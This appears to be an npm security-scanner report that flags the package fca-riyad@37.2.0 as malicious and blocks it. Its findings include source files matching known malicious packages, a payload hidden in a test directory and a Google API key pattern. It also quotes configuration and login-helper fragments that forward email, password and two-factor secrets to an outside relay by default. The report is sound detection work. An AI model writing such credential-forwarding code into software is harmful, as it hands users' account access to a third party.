fca-riyad@37.2.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

fca-riyad@37.2.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

15 flagged · loading source

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

High Secret

Package contains a high-severity secret pattern.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

130copyProps(Buffer3, SafeBuffer); L131: SafeBuffer.from = function(arg, encodingOrOffset, length) { L132: if (typeof arg === "number") { ... L400: * @return {Object} Accepted configuration L401: * @private L402: */ ... L543: this._inflate[kWriteInProgress] = true; L544: this._inflate.write(data); L545: if (fin) this._inflate.write(TRAILER); ... L660: * @param {(String|Buffer|ArrayBuffer|Buffer[])} data The received data L661: * @param {WebSocket} target A reference to the target to which the event was dispatched L662: */

Low

Weak Crypto

Package source references weak cryptographic algorithms.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L130

src/api/socket/e2ee/e2ee/nativeBridge.jsView file

37function getDynamicImport() { L38: if (!_dynamicImport) _dynamicImport = new Function("specifier", "return import(specifier);"); L39: return _dynamicImport;

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/api/socket/e2ee/e2ee/nativeBridge.jsView on unpkg · L37

module/loginHelper.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.1.0 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

1"use strict"; L2: const fs = require("fs"); L3: const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

src/api/socket/e2ee/native/build/messagix.soView file

•path = [redacted].so kind = native_binary sizeBytes = 17504872 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

src/api/socket/e2ee/native/build/messagix.soView on unpkg

src/vendor/fca-unofficial/test/data/something.movView file

•path = src/vendor/fca-unofficial/test/data/something.mov kind = high_entropy_blob sizeBytes = 211750 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

•path = src/vendor/fca-unofficial/test/data/something.mov kind = payload_in_excluded_dir sizeBytes = 211750 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.0.0 matchedPath = [redacted].js matchedIdentity = npm:c2hhZG93eC1mY2E:10.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/e2ee/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.0.0 matchedPath = src/api/socket/e2ee/e2ee/index.js matchedIdentity = npm:c2hhZG93eC1mY2E:10.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/e2ee/index.jsView on unpkg

src/api/socket/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.0.0 matchedPath = src/api/socket/e2ee/index.js matchedIdentity = npm:c2hhZG93eC1mY2E:10.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/index.jsView on unpkg

src/vendor/fca-unofficial/index.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.0.0 matchedPath = src/vendor/fca-unofficial/index.js matchedIdentity = npm:c2hhZG93eC1mY2E:10.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/vendor/fca-unofficial/index.jsView on unpkg

src/api/socket/e2ee/vendor/fb-e2ee.cjsView file

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/vendor/fb-e2ee.cjs

src/api/socket/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

Source & flagged code

15 flagged

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

Lines 110-150javascript

110var require_safe_buffer = __commonJS({

111 "node_modules/ws/node_modules/safe-buffer/index.js"(exports2, module2) {

112 "use strict";

113 init_cjs_shims();

114 var buffer = require("buffer");

115 var Buffer3 = buffer.Buffer;

116 function copyProps(src, dst) {

117 for (var key in src) {

118 dst[key] = src[key];

119 }

120 }

121 if (Buffer3.from && Buffer3.alloc && Buffer3.allocUnsafe && Buffer3.allocUnsafeSlow) {

122 module2.exports = buffer;

123 } else {

124 copyProps(buffer, exports2);

125 exports2.Buffer = SafeBuffer;

126 }

127 function SafeBuffer(arg, encodingOrOffset, length) {

128 return Buffer3(arg, encodingOrOffset, length);

129 }

130 copyProps(Buffer3, SafeBuffer);

131 SafeBuffer.from = function(arg, encodingOrOffset, length) {

132 if (typeof arg === "number") {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L130

133 throw new TypeError("Argument must not be a number");

134 }

135 return Buffer3(arg, encodingOrOffset, length);

136 };

137 SafeBuffer.alloc = function(size, fill, encoding) {

138 if (typeof size !== "number") {

139 throw new TypeError("Argument must be a number");

140 }

141 var buf = Buffer3(size);

142 if (fill !== void 0) {

143 if (typeof encoding === "string") {

144 buf.fill(fill, encoding);

145 } else {

146 buf.fill(fill);

147 }

148 } else {

149 buf.fill(0);

150 }

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950 "privacy",

2951

src/api/socket/e2ee/e2ee/nativeBridge.jsView file

Lines 17-57javascript

17 * binary requires mediaKey/directPath, there's no plain CDN URL for

18 * E2EE media) and served over a local loopback HTTP URL, because

19 * riyad-bot's commands generally expect attachment.url to be a normal

module/loginHelper.jsView file

Lines 1-21javascript

1"use strict";

2const fs = require("fs");

3const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

src/api/socket/e2ee/native/build/messagix.soView file

•path = [redacted].so kind = native_binary sizeBytes = 17504872 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

src/api/socket/e2ee/native/build/messagix.soView on unpkg

src/vendor/fca-unofficial/test/data/something.movView file

•path = src/vendor/fca-unofficial/test/data/something.mov kind = high_entropy_blob sizeBytes = 211750 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

•path = src/vendor/fca-unofficial/test/data/something.mov kind = payload_in_excluded_dir sizeBytes = 211750 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.0.0 matchedPath = [redacted].js matchedIdentity = npm:c2hhZG93eC1mY2E:10.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/e2ee/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.0.0 matchedPath = src/api/socket/e2ee/e2ee/index.js matchedIdentity = npm:c2hhZG93eC1mY2E:10.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/e2ee/index.jsView on unpkg

src/api/socket/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.0.0 matchedPath = src/api/socket/e2ee/index.js matchedIdentity = npm:c2hhZG93eC1mY2E:10.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/index.jsView on unpkg

src/vendor/fca-unofficial/index.jsView file

•matchType = normalized_sha256 matchedPackage = shadowx-fca@10.0.0 matchedPath = src/vendor/fca-unofficial/index.js matchedIdentity = npm:c2hhZG93eC1mY2E:10.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/vendor/fca-unofficial/index.jsView on unpkg

src/api/socket/e2ee/vendor/fb-e2ee.cjsView file

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950